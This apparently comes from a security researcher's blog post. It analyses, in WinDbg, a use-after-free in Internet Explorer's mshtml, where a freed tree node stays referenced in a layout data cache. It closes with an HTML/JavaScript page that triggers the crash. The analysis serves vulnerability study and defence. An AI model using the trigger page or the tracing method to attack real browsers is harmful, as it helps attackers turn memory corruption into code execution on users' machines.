CTreeNode:node[002b8110] parent[002b8060] Type:00256108 6dbaf9f8 mshtml!CScriptElement::`vftable'
...
CTreeNode:node[002b7fb0] parent[002b8060] Type:0025bac0 6db50c30 mshtml!CBodyElement::`vftable'
CTreeNode:node[002b8168] parent[002b7fb0] Type:002adef0 6db03dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[002b8378] parent[002b7fb0] Type:00256098 6da17eb0 mshtml!CAnchorElement::`vftable'
Release:node[002b8218] [Freed] Type:002adfd8 6db03dd8 mshtml!CObjectElement::`vftable'
Release:node[002b8378] [Freed] Type:00256098 6da17eb0 mshtml!CAnchorElement::`vftable'
Release:node[002b8168] [Freed] Type:002adef0 6db03dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[002b8168] parent[00218198] Type:002adef0 6db03dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[002b8378] parent[00218198] Type:00256098 6da17eb0 mshtml!CAnchorElement::`vftable'
Release:node[002b8270] [Freed] Type:0025bb30 6db51ae8 mshtml!CTitleElement::`vftable'
Release:node[002b80b8] [Freed] Type:00277158 6db51868 mshtml!CHeadElement::`vftable'
Release:node[002b7fb0] [Freed] Type:0025bac0 6db50c30 mshtml!CBodyElement::`vftable'
Release:node[002b8060] [Freed] Type:00276dc8 6db51598 mshtml!CHtmlElement::`vftable'
Release:node[00217a60]Type:00276e88 6db42010 mshtml!CRootElement::`vftable'
Release:node[00217a60] [Freed] Type:00276e88 6db42010 mshtml!CRootElement::`vftable'
...
CTreeNode:node[002b7fb0] parent[00218198] Type:002adef0 6db03dd8 mshtml!CObjectElement::`vftable'
CTreeNode:node[002b8378] parent[00218198] Type:00256178 6da17eb0 mshtml!CAnchorElement::`vftable'
CTreeNode:node[002b8428] parent[00218198] Type:00277038 6da171b0 mshtml!CPhraseElement::`vftable'
Release:node[002b8218] [Freed] Type:0025bc80 6db51ae8 mshtml!CTitleElement::`vftable'
Release:node[002b8320] [Freed] Type:00277158 6db51868 mshtml!CHeadElement::`vftable'
Release:node[002b8060] [Freed] Type:0025b970 6db50c30 mshtml!CBodyElement::`vftable'
....
Release:node[00218198]Type:0025b660 6db50c30 mshtml!CBodyElement::`vftable'
Release:node[00218248]Type:002772d8 6db42010 mshtml!CRootElement::`vftable'
CTreeNode:node[00218038] parent[00000000] Type:00276e88 6db42010 mshtml!CRootElement::`vftable'
CTreeNode:node[002b8008] parent[00218038] Type:00277158 6db51598 mshtml!CHtmlElement::`vftable'
CTreeNode:node[002b8270] parent[002b8008] Type:00276df8 6db51868 mshtml!CHeadElement::`vftable'
CTreeNode:node[002b8060] parent[002b8270] Type:0025bd28 6db51ae8 mshtml!CTitleElement::`vftable'
CTreeNode:node[002b8320] parent[002b8008] Type:002c7a48 6db50c30 mshtml!CBodyElement::`vftable'
Release:node[002b7fb0] [Freed] Type:002adef0 6db03dd8 mshtml!CObjectElement::`vftable'
Release:node[002b8060] [Freed] Type:0025bd28 6db51ae8 mshtml!CTitleElement::`vftable'
Release:node[002b8270] [Freed] Type:00276df8 6db51868 mshtml!CHeadElement::`vftable'
Release:node[002b8320] [Freed] Type:002c7a48 6db50c30 mshtml!CBodyElement::`vftable'
Release:node[002b8008] [Freed] Type:00277158 6db51598 mshtml!CHtmlElement::`vftable'
Release:node[00218038]Type:00276e88 6db42010 mshtml!CRootElement::`vftable'
Release:node[00218038] [Freed] Type:00276e88 6db42010 mshtml!CRootElement::`vftable'
(ec.77c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=002b7fb0 ecx=002a004f edx=00000000 esi=0219bc30 edi=00000000
eip=6dbcb68f esp=0219bc04 ebp=0219bc1c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
mshtml!CElement::Doc+0x2:
6dbcb68f 8b5070 mov edx,dword ptr [eax+70h] ds:0023:00000070=????????

Freed node

dc 002b7fb0
002b7fb0 002a004f 00000000 ffff404a ffffffff O.*.....J@......
002b7fc0 00000051 00000000 00000000 00000000 Q...............
002b7fd0 00000000 002b7fd8 00000062 00000000 ......+.b.......
002b7fe0 00000000 00000000 002b7fc0 00000000 ..........+.....
002b7ff0 00000000 00000000 00000000 00000000 ................

This dump is very interesting as it gives an overlook of the tree construct and how IE organizes a document layout. As you can see from the last part, we've got another excelent confirmation of the deallocation of the CTreeNode and how the memory of freed objects is being constantly reused by newly allocated objects. Another thing to point out is that the mshtml!CObjectElement contained by the freed mshtml!CTreeNode is also freed, and it's parent, an mshtml!CBodyElement object type, is also being freed. So, what the heck is going on here? Everything seem to be working correctly, the tree seems to being correctly and orderly dismantled.
Why is it still being referenced? And where?

Let's try a first approach. Let's go to the moment where the node is created again:

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] Type:\",ecx;dds edi l1; .if(poi(edi)!=mshtml!CObjectElement::`vftable' ) {gc;}"

After triggering the breakpoint, let's set another breakpoint in an important function into solving our puzzle, mshtml!CLineCore::AO_GetFancyFormat. This function is called early before crashing, so it might have important data around that we might be interested in.

bp mshtml!CLineCore::AO_GetFancyFormat

k
ChildEBP RetAddr
01f8ecec 635a0e0f mshtml!CHtmRootParseCtx::BeginElement+0x106
01f8ed10 635a0760 mshtml!CHtmTextParseCtx::BeginElement+0x6c
01f8ed40 635a06b2 mshtml!CHtmParse::BeginElement+0xb7
01f8ed6c 6359eeef mshtml!CHtmParse::ParseBeginTag+0xfe
01f8ed88 635a0191 mshtml!CHtmParse::ParseToken+0x82
01f8ee30 6359f32d mshtml!CHtmPost::ProcessTokens+0x237
01f8eef4 635d7994 mshtml!CHtmPost::Exec+0x221
01f8ef40 636526a2 mshtml!CHtmLoad::Init+0x33d
...

I'll present some info that's the result from some reversing; I'm not going to explaint it because it would be too long and too boring. Yes, more than it is being now... :)
Basically what we have here is the CTreeNode of interest and it's relation with other object that references it in a tree node who is arranjed as a balanced tree.

CTreeNode:node[03f26c80] Type:03fb8fe0 639ad498 mshtml!CObjectElement::`vftable'
dc 03f26c80
03f26c80 03fb8fe0 03f26128 ffff024a ffffffff ....(a..J.......
03f26c90 00000071 00000000 001b3598 03f26ca8 q........5...l..
03f26ca0 001b3598 03f26ca8 00000172 00000001 .5...l..r.......
03f26cb0 03f26c90 03f26978 03f26c90 03f26978 .l..xi...l..xi..
03f26cc0 00000008 00000000 00000000 00000000 ................

CMarkup
dc 03a4d5e8
03a4d5e8 6362f458 0000000c 00000078 04811d80 X.bc....x.......
03a4d5f8 00000000 02000001 00000003 00000008 ................
03a4d608 0480d4c0 03ab9790 00800000 00000000 ................
03a4d618 00000000 048095b0 00000001 00000001 ................
03a4d628 00000010 0000000a 04800af0 00000000 ................
03a4d638 0000000b 8000000b 046857d0 04811a60 .........Wh.`...
03a4d648 03a55568 00000000 03f4e4e0 03a46a00 hU...........j..
03a4d658 00000000 00000000 00000000 00000000 ................
03a4d668 001b3b60 00000000 00000820 00000022 `;...... ..."...

dc 04800af0 04800af0+8c
04800af0 6363ac10 6364b628 00000000 00000000 ..cc(.dc........
04800b00 00000000 00000000 00000000 00000000 ................
04800b10 00000000 00000000 00000000 00000000 ................
04800b20 03a4d5e8 0022da18 00000003 00000000 ......".........
04800b30 03f26150 04800b38 000000b4 00000000 Pa..8...........
04800b40 00000000 00000000 00000000 03f26348 ............Hc..
04800b50 00000000 0c000000 00000000 03f26128 ............(a..
04800b60 04800b38 00000009 00000000 00000000 8...............
04800b70 00000000 03f262e0 00000000 00000000 .....b..........

dc 03fb8fe0
03fb8fe0 639ad498 00000002 00000008 04811d40 ...c........@...
03fb8ff0 00000000 03f26c80 8800004a a0012200 .....l..J...."..
03fb9000 00000000 03a4d5e8 00000000 639a1798 ...............c
03fb9010 639a17bc 639a17e0 00000000 63882ff0 ...c...c...../.c

By tracing some instructions ahead, we can observe this:

eax=00000000 ebx=01f8eb98 ecx=00000000 edx=03adc4bc esi=03fb8b80 edi=00000000
eip=63793bdd esp=01f8e658 ebp=01f8e688 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CLineCore::AO_GetFancyFormat:
63793bdd 8bff mov edi,edi

...
wt
8 0 [ 0] mshtml!CLineCore::oi
11 0 [ 1] kernel32!TlsGetValue
14 11 [ 0] mshtml!CLineCore::oi

25 instructions were executed in 24 events (0 from other threads)

Function Name Invocations MinInst MaxInst AvgInst
kernel32!TlsGetValue 1 11 11 11
mshtml!CLineCore::oi 1 14 14 14

0 system calls were executed

eax=03fb8b80 ebx=01f8eb98 ecx=00000000 edx=03adc4bc esi=03fb8b80 edi=00000000
eip=63793be9 esp=01f8e654 ebp=01f8e654 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CLineCore::AO_GetFancyFormat+0xc:
63793be9 e87dd6ecff call mshtml!CLineCore::oi (6366126b)

...
eax=03f94ad0 ebx=01f8eb98 ecx=03f26c80 edx=03adc4bc esi=03fb8b80 edi=00000000
eip=63793bfb esp=01f8e654 ebp=01f8e654 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CLineCore::AO_GetFancyFormat+0x1e:
63793bfb e8f2c7ecff call mshtml!CTreeNode::GetFancyFormat (636603f2)

...

(180.1bc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00450056 ebx=03f26c80 ecx=03fb0183 edx=00000000 esi=01f8e380 edi=00000000
eip=00000000 esp=01f8e350 ebp=01f8e36c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
00000000 ?? ???

Dumping around some registries and cross-referencing with data obtained before:

dc 03f94ad0
03f94ad0 00000000 000003e8 00000000 0000063a ............:...
03f94ae0 00000000 00000000 00000000 03f26c80 .............l..
03f94af0 00000000 000005dc 00000000 00000000 ................
03f94b00 00000000 00000000 00000000 00000000 ................

s -d 00140000 l1000000 03f94ad0
03f64740 03f94ad0 0001bdf0 00000001 03f94188 .J...........A..

s -d 00140000 l1000000 03f64740
03a32220 03f64740 00000010 00000009 00000009 @G..............

dc 03a32220-30
03a321f0 6363d260 03a32210 00000000 00000000 `.cc."..........
03a32200 00000000 00000000 00000001 00000001 ................
03a32210 00000000 00000000 637d5aad 03a321f0 .........Z}c.!..
03a32220 03f64740 00000010 00000009 00000009 @G..............
03a32230 00000000 00000000 ead73077 ff0c0100 ........w0......
03a32240 6359ab60 03a32260 00000000 00000000 `.Yc`"..........

dds 6363d260 l1
6363d260 636f1785 mshtml!CDataCache<CLineOtherInfo&gt;::`vector deleting destructor'

dc 03a32220-80
03a321a0 6359ab48 03a321c0 00000000 00000000 H.Yc.!..........
03a321b0 00000000 00000000 00000001 00000001 ................
03a321c0 00000000 00000000 637d5aad 03a321a0 .........Z}c.!..
03a321d0 03a47630 00000008 00000001 00000000 0v..............

dds 6359ab48 l1
6359ab48 636f17cf mshtml!CDataCache<CAttrArray>::`scalar deleting destructor'

Look at where we got. We now have some more clues about the 'where'. The CTreeNode seems to be coming from a CDataCache template type object. Hmmm... We need to confirm it, as this could be the key point of all our exercise.
Going to the trace there's a moment where the cache becomes 'visible' in the machine registers: when mshtml!CLineCore::oi is called. Its definition is:

Aha, a reference to the cache is obtained by a TLS entry. The last part of the function gives us the path to get to our entry of interest in the cache.
Let's rerun it again and make this function our target of analysis...
This is our first breakpoint to use:

bp mshtml!CTreeNode::CTreeNode ".printf \" CTreeNode:node[%08x] parent[%08x] Type:\",ecx,poi(esp+4);dds edi l1; .if(poi(edi)!=mshtml!CObjectElement::`vftable') {gc;}"


Use the same rule we've talked about before to hit the CTreeNode we're interested in.
On break, record the mshtml!CTreeNode address and set it on the following breakpoint:

CTreeNode:node[0021a350] parent[0021a198] Type:0021d9c8 639ad498 mshtml!CObjectElement::`vftable'

bp mshtml!CTreeNode::Release+0x1c ".printf \"Release:node[%08x]\",edx;.if (@zf=1) {.printf \" [Freed] \"}; .printf \"Type:\"; dds poi(edx) l1; .if (edx!=0021a350) {gc;}"

This will make us stop on the mshtml!CTreeNode release. Set now this other breakpoint:

bp 63661285 ".printf \"Cache Addr:%08x ESI=%08x\\n\",eax,esi ;gc;"
bp 6366128B ".printf \"[Cache Addr+6c]:%08x\\n\",eax ; gc;"
bp 6366128E ".printf \"[Addr+30]:%08x\\n\",eax ; gc;"
bp 63661292 ".printf \"[Addr2+ESI]:%08x\\n\",eax ; dc eax l8; gc;"
#bp 6366127F ".printf \"TLS index:%08x\\n\",poi(esp) ; gc;"

Note: All the breakpoints that have an address value as the breakpoint, are targeted to the mshtml!CLineCore::oi function. As ASLR changes the base dlls addresses, they might not work in your environment. But I assume that if you got this far, you'll be quite capable of adjusting the addresses as needed.

Run it again and:

g
CTreeNode:node[03498650] parent[03498968] Type:02fb3bc0 6362d0c8 mshtml!CAnchorElement::`vftable'
CTreeNode:node[03498a70] parent[03498968] Type:02fc74e0 6362c3d0 mshtml!CPhraseElement::`vftable'
Cache Addr:02f80060 ESI=00000001
[Cache Addr+6c]:0020eeb0
[Addr+30]:03468a90
[Addr2+ESI]:0346b750
0346b750 fffe7960 00000000 00000000 0000076c `y..........l...
0346b760 000186a0 00000000 00000000 00000190 ................
...
Cache Addr:02f80060 ESI=00000005
[Cache Addr+6c]:0020eeb0
[Addr+30]:03468a90
[Addr2+ESI]:0346b5a0
0346b5a0 000003e8 00000000 00000000 001b097c ............|...
0346b5b0 0000cc4e 00000000 00000000 000547f4 N............G..
Cache Addr:02f80060 ESI=00000003
[Cache Addr+6c]:0020eeb0
[Addr+30]:03468a90
[Addr2+ESI]:0346b6c0
0346b6c0 00000000 000003e8 000497c6 00000000 ................
0346b6d0 fffffdec 00000000 00000000 00000000 ................
CTreeNode:node[034983e8] parent[00000000] Type:034895c0 635990c8 mshtml!CRootElement::`vftable'
CTreeNode:node[03498498] parent[034983e8] Type:03489170 635aeb20 mshtml!CHtmlElement::`vftable'
CTreeNode:node[03497ec0] parent[03498498] Type:03489500 635aedf0 mshtml!CHeadElement::`vftable'
CTreeNode:node[03498440] parent[03497ec0] Type:03487010 635af070 mshtml!CTitleElement::`vftable'
CTreeNode:node[034981d8] parent[03498498] Type:03486fa0 635a7e38 mshtml!CBodyElement::`vftable'
Cache Addr:02f80060 ESI=00000001
[Cache Addr+6c]:0020eeb0
[Addr+30]:03468a90
[Addr2+ESI]:0346b750
0346b750 fffe7960 00000000 00000000 0000076c `y..........l...
0346b760 000252ee 00000000 00000000 00000190 .R..............
Cache Addr:02f80060 ESI=00000003
[Cache Addr+6c]:0020eeb0
[Addr+30]:034cdf10
[Addr2+ESI]:0346b6c0
0346b6c0 00000000 000003e8 000497c6 00000000 ................
0346b6d0 fffffdec 00000000 00000000 00000000 ................
Cache Addr:02f80060 ESI=00000000
[Cache Addr+6c]:0020eeb0
[Addr+30]:034cdf10
[Addr2+ESI]:0346ae50
0346ae50 00000000 000003e8 00000000 0000063a ............:...
0346ae60 00000000 00000000 00000000 03498860 ............`.I.
(c68.100): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=005c0073 ebx=03498860 ecx=00210070 edx=0d010000 esi=01f8e380 edi=00000000
eip=0d010000 esp=01f8e350 ebp=01f8e36c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
<Unloaded_ud.drv>+0xd00ffff:
0d010000 ?? ???

I shortened again the output as it is quite extensive. But we've got some interesting stuff. The first one being the obvious one: the CTreeNode is being referenced by this cache. Another one is that the cache is the always the same, and you can retrieve it by referring to the correct TLS index. Confirming this is just a matter of searching for all cross references of TlsSetValue:

They're not many so we can inspect every one of them. The parameter we're interested is the same referenced in mshtml!CLineCore::oi, which is g_dwTls. From the above entries, there are only two that correspond to our search requisites: DllThreadDetach and DllThreadAttach.
This is our confirmation that there's only a single cache for the IE process.

We now know the 'where', but we haven't got yet the confirmation of a caching mechanism nor do we know the 'why'. Let's try to get to it. Let's search for another function that will give us the cache reference and is used after the mshtml!CTreeNode is freed: we find mshtml!CacheLineOtherInfoEx.
Rerunning it again...

CTreeNode:node[0021a158] parent[00219fa0] Type:0021d7d0 639ad498 mshtml!CObjectElement::`vftable'


Set the following breakpoints on stop:

bp mshtml!CTreeNode::Release+0x1c ".printf \"Release:node[%08x]\",edx;.if (@zf=1) {.printf \" [Freed] \"}; .printf \"Type:\"; dds
poi(edx) l1; .if (edx!=0021a158) {gc;}"
bp mshtml!CacheLineOtherInfoEx

Trace it until we get to:

eax=01f8f110 ebx=01f8f198 ecx=00000000 edx=6365fa7f esi=01f8f1fc edi=01f8f150
eip=636697d7 esp=01f8f0e8 ebp=01f8f0f4 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
mshtml!CacheLineOtherInfoEx+0xd:
636697d7 ff1594135863 call dword ptr [mshtml!_imp__TlsGetValue (63581394)] ds:0023:63581394={kernel32!TlsGetValue (7c809750)}
0:008> p
eax=00202810 ebx=01f8f198 ecx=0000002a edx=6365fa7f esi=01f8f1fc edi=01f8f150
eip=636697dd esp=01f8f0ec ebp=01f8f0f4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CacheLineOtherInfoEx+0x13:
636697dd 8b586c mov ebx,dword ptr [eax+6Ch] ds:0023:0020287c=002129a0

EAX is our wanted cache reference. We need to solve it's addressing as mshtml!CLineCore::oi does.

?poi(poi(00202810+6c)+30)
Evaluate expression: 2241776 = 002234f0

And now let's set a breakpoint on reading and writing on this address. This will show us two things: first 'where' is the address being set, and second, the 'why' it's not being also released.

ba w4 002234f0
0:008> g
Breakpoint 4 hit
eax=001b84d8 ebx=00000000 ecx=002234f0 edx=00000008 esi=00000000 edi=002129a0
eip=63672d75 esp=01f8f084 ebp=01f8f084 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CLineOtherInfo::Clone+0x30:
63672d75 f7d8 neg eax
0:008> dc 002234f0
002234f0 001b84d8 00000001 00000000 00000000 ................
00223500 00000002 00000000 00000000 00000003 ................
00223510 ffffffff 00000000 00000004 00000003 ................
00223520 00000000 00000005 11400004 00000000 ..........@.....
00223530 00000006 00000000 00000000 00000007 ................
00223540 00000000 00000000 ffffffff 00000000 ................
00223550 eaa814ba ff0c0100 74726c18 74726c04 .........lrt.lrt
00223560 74726bf4 74726488 00000001 00000000 .krt.drt........
0:008> k
ChildEBP RetAddr
01f8f084 63672d40 mshtml!CLineOtherInfo::Clone+0x30
01f8f094 6363bdcd mshtml!CDataCache<CLineOtherInfo>::InitData+0x22
01f8f0b8 6363bd8e mshtml!CDataCacheBase::Add+0x2a
01f8f0d4 63669826 mshtml!CDataCacheBase::CacheData+0x2a
01f8f0f4 636697b1 mshtml!CacheLineOtherInfoEx+0x71
01f8f150 6360dd5e mshtml!CLineCore::AssignLine+0x2a
01f8f25c 63607620 mshtml!CRecalcLinePtr::AlignObjects+0xc78
01f8f2e4 6366aa19 mshtml!CRecalcLinePtr::CalcAlignedSitesAtBOLCore+0x1df
01f8f338 6366a4f0 mshtml!CRecalcLinePtr::CalcAlignedSitesAtBOL+0x9e
01f8f400 636731c6 mshtml!CRecalcLinePtr::MeasureLine+0x3ef
01f8f4e4 63672ed9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x43e
01f8f6a0 63672de9 mshtml!CDisplay::RecalcLines+0x6a
01f8f6b4 63672d9c mshtml!CDisplay::RecalcView+0x6d
01f8f7c4 6366cabe mshtml!CFlowLayout::CalcTextSize+0x433
01f8fa4c 636696cf mshtml!CFlowLayout::CalcSizeCoreCompat+0x1005
01f8fa68 63601a48 mshtml!CFlowLayout::CalcSizeCore+0x48
01f8faa4 6366967e mshtml!CBodyLayout::CalcSizeCore+0xd8
01f8fadc 63668ca2 mshtml!CFlowLayout::CalcSizeVirtual+0x1ae
01f8fc14 635b7dd3 mshtml!CLayout::CalcSize+0x2b8
01f8fcb0 636419fc mshtml!CView::EnsureSize+0xda

Yes, we've got our confirmation of a data cache object type instance.

dc 001b84d8 +1c
001b84f4 0021a158 00000000 000005dc 00000000 X.!.............
001b8504 00000000 00000000 00000000 00000000 ................

g
Breakpoint 3 hit
eax=002234f0 ebx=00000000 ecx=001b84d8 edx=01f8e718 esi=002129a0 edi=00000000
eip=6363bd5d esp=01f8e6b4 ebp=01f8e6c4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CDataCacheBase::Find+0x46:
6363bd5d 85c9 test ecx,ecx
0:008> k
ChildEBP RetAddr
01f8e6c4 6363bd00 mshtml!CDataCacheBase::Find+0x46
01f8e6dc 63669826 mshtml!CDataCacheBase::CacheData+0x17
01f8e6fc 636697b1 mshtml!CacheLineOtherInfoEx+0x71
01f8e758 6366a75e mshtml!CLineCore::AssignLine+0x2a
01f8e808 636731c6 mshtml!CRecalcLinePtr::MeasureLine+0x7e5
01f8e8ec 63672ed9 mshtml!CDisplay::RecalcLinesWithMeasurer+0x43e
01f8eaa8 63672de9 mshtml!CDisplay::RecalcLines+0x6a
01f8eabc 63672d9c mshtml!CDisplay::RecalcView+0x6d
01f8ebcc 6366cabe mshtml!CFlowLayout::CalcTextSize+0x433
01f8ee54 636696cf mshtml!CFlowLayout::CalcSizeCoreCompat+0x1005
01f8ee74 6366967e mshtml!CFlowLayout::CalcSizeCore+0x48
01f8eeac 63668ca2 mshtml!CFlowLayout::CalcSizeVirtual+0x1ae
01f8efe4 63666800 mshtml!CLayout::CalcSize+0x2b8
01f8f0ac 6366656f mshtml!CFlowLayout::MeasureSite+0x304
01f8f0f8 6366694f mshtml!CFlowLayout::GetSiteWidth+0x153
01f8f138 6360d916 mshtml!CLSMeasurer::GetSiteWidth+0xce
01f8f25c 63607620 mshtml!CRecalcLinePtr::AlignObjects+0x38a
01f8f2e4 6366aa19 mshtml!CRecalcLinePtr::CalcAlignedSitesAtBOLCore+0x1df
01f8f338 6366a4f0 mshtml!CRecalcLinePtr::CalcAlignedSitesAtBOL+0x9e
01f8f400 636731c6 mshtml!CRecalcLinePtr::MeasureLine+0x3ef

CTreeNode:node[0021a2b8] parent[0021a310] Type:0360a310 635af070 mshtml!CTitleElement::`vftable'
CTreeNode:node[0021a260] parent[0021a470] Type:0360a348 635a7e38 mshtml!CBodyElement::`vftable'
Release:node[0021a158] [Freed] Type:0021d7d0 639ad498 mshtml!CObjectElement::`vftable'
Release:node[0021a2b8] [Freed] Type:0360a310 635af070 mshtml!CTitleElement::`vftable'
Release:node[0021a310] [Freed] Type:0023a7c0 635aedf0 mshtml!CHeadElement::`vftable'
Release:node[0021a260] [Freed] Type:0360a348 635a7e38 mshtml!CBodyElement::`vftable'
Release:node[0021a470] [Freed] Type:0023a190 635aeb20 mshtml!CHtmlElement::`vftable'
Release:node[00219e98]Type:0023a280 635990c8 mshtml!CRootElement::`vftable'
Release:node[00219e98] [Freed] Type:0023a280 635990c8 mshtml!CRootElement::`vftable'
Breakpoint 3 hit
eax=002234f0 ebx=00000000 ecx=001b84d8 edx=01f8ebb8 esi=002129a0 edi=00000000
eip=6363bd5d esp=01f8eb54 ebp=01f8eb64 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
mshtml!CDataCacheBase::Find+0x46:
6363bd5d 85c9 test ecx,ecx


By now the node was cleared but yet exists in the cache, let's confirm this by inspecting the cache, following again its path as indicated above:

?poi(poi(poi(00202810+6c)+30))
Evaluate expression: 1803480 = 001b84d8

dc 001b84d8
001b84d8 00000000 000003e8 00000000 0000063a ............:...
001b84e8 00000000 00000000 00000000 0021a158 ............X.!.


This is the 'why' a referenced free node leads to a crash. The cache is populated with the node, but it's not freed during the tree teardown. Because of performance the layout calculation is made out using the cache. But ups, mshtml decided that because of invalid content, OBJECT metatag should exist, so it destroyed it and its tree references, but forgot the layout cache...
And here it is... running it again we'll arrive at our final destination, the crash.

For a final and definite proof, I'll present the 'magic' sequence of debugging commands that clears all doubts that we could still have.
If you've been following the text, you'll understand how we got to the first line of the this excerpt:

CTreeNode:node[00224de0] parent[002246a8] Type:00227ed8 639ad498 mshtml!CObjectElement::`vftable'


Let's set a breakpoint on the first address of the mshtml!CObjectElement contained by our mshtml!CTreeNode. As soon as the object is freed it will trigger it.

ba w4 00227ed8
bp mshtml!CacheLineOtherInfoEx
g
CTreeNode:node[00224860] parent[002246a8] Type:0019c458 6362c3d0 mshtml!CPhraseElement::`vftable'
CTreeNode:node[00224a70] parent[002246a8] Type:0019c578 6362c3d0 mshtml!CPhraseElement::`vftable'
Release:node[002245f8] [Freed] Type:0019bad8 635af070 mshtml!CTitleElement::`vftable'
Release:node[002248b8] [Freed] Type:0019c428 635aedf0 mshtml!CHeadElement::`vftable'
Release:node[00224910] [Freed] Type:0019ba30 635a7e38 mshtml!CBodyElement::`vftable'
Release:node[00224968] [Freed] Type:0019c0c8 635aeb20 mshtml!CHtmlElement::`vftable'
Release:node[00224b20]Type:0019c098 635990c8 mshtml!CRootElement::`vftable'
Release:node[00224b20] [Freed] Type:0019c098 635990c8 mshtml!CRootElement::`vftable'
Release:node[00224650]Type:0022c948 635b4938 mshtml!CScriptElement::`vftable'
Release:node[00224650] [Freed] Type:0022c948 635b4938 mshtml!CScriptElement::`vftable'
Breakpoint 3 hit
eax=01f8f110 ebx=01f8f198 ecx=00000000 edx=6365fa7f esi=01f8f1fc edi=01f8f150
eip=636697ca esp=01f8f0f8 ebp=01f8f150 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000212
mshtml!CacheLineOtherInfoEx:
636697ca 8bff mov edi,edi

636697d7 ff1594135863 call dword ptr [mshtml!_imp__TlsGetValue (63581394)] ds:0023:63581394={kernel32!TlsGetValue (7c809750)}
0:008>
eax=001aa318 ebx=01f8f198 ecx=0000002a edx=6365fa7f esi=01f8f1fc edi=01f8f150
eip=636697dd esp=01f8f0ec ebp=01f8f0f4 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CacheLineOtherInfoEx+0x13:
636697dd 8b586c mov ebx,dword ptr [eax+6Ch] ds:0023:001aa384=002190a8

?poi(poi(001aa318 +6c)+30)
Evaluate expression: 2284536 = 0022dbf8

ba w4 0022dbf8

g
Breakpoint 4 hit
eax=001b6870 ebx=00000000 ecx=0022dbf8 edx=00000008 esi=00000000 edi=002190a8
eip=63672d75 esp=01f8f084 ebp=01f8f084 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CLineOtherInfo::Clone+0x30:
63672d75 f7d8 neg eax

dc poi(0022dbf8) +1c
001b688c 00224de0 00000000 000005dc 00000000 .M".............


See? The cache breakpoint is triggered before the mshtml!CObjectElement or the mshtml!CTreeNode container are freed.

Release:node[002246a8]Type:0019b870 635a7e38 mshtml!CBodyElement::`vftable'
....
Release:node[00224de0] [Freed] Type:00227ed8 639ad498 mshtml!CObjectElement::`vftable'
Release:node[00224910] [Freed] Type:0019bb10 635af070 mshtml!CTitleElement::`vftable'
Release:node[00224968] [Freed] Type:0023cda8 635aedf0 mshtml!CHeadElement::`vftable'
Release:node[002248b8] [Freed] Type:0019bb48 635a7e38 mshtml!CBodyElement::`vftable'
Release:node[00224ac8] [Freed] Type:0023ce38 635aeb20 mshtml!CHtmlElement::`vftable'
Release:node[002245a0]Type:0023c9e8 635990c8 mshtml!CRootElement::`vftable'
Release:node[002245a0] [Freed] Type:0023c9e8 635990c8 mshtml!CRootElement::`vftable'
Breakpoint 2 hit
eax=00000000 ebx=00227ed8 ecx=00227ed8 edx=00000000 esi=00227ed8 edi=00000000
eip=636219a0 esp=01f8fbfc ebp=01f8fc0c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
mshtml!CElement::~CElement+0xb:
636219a0 e8cc900100 call mshtml!CElement::SecurityContext (6363aa71)

k
ChildEBP RetAddr
01f8fbfc 639a1891 mshtml!CElement::~CElement+0xb
01f8fc0c 639ad719 mshtml!COleSite::~COleSite+0x98
01f8fc1c 63625928 mshtml!CObjectElement::`scalar deleting destructor'+0x24
01f8fc24 6362590e mshtml!CBase::SubRelease+0x22
01f8fc34 6363d090 mshtml!CBase::PrivateRelease+0x3c
01f8fc48 6363b472 mshtml!CElement::PrivateRelease+0x29
01f8fc54 639affea mshtml!CStaticNodeList::Release+0xe
01f8fd24 6364daa8 mshtml!CObjectElement::DeferredFallback+0x2f8


In fact mshtml!CObjectElement is only freed after mshtml!CTreeNode destruction as can be seen by mshtml!CObjectElement destructor timing.

This is a cool conclusion because as you can see, the problem isn't directly related with the OBJECT html tag(although it's the cause for triggering the bug) and this can be proven with the following replacement page:

<html>
<body>
<script language='javascript'>
document.body.innerHTML += "<object align='right' hspace='1000' width='1000'>TAG_1</object>";
document.body.innerHTML += "<tr id='tag_3' style='bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px' >TAG_3</tr>";
document.body.innerHTML += "AAAAAAA";
document.body.innerHTML += "<strong style='font-size:1000pc;margin:auto -1000cm auto auto;' dir='ltr'>TAG_11</strong>";
</script>
</body>
</html>


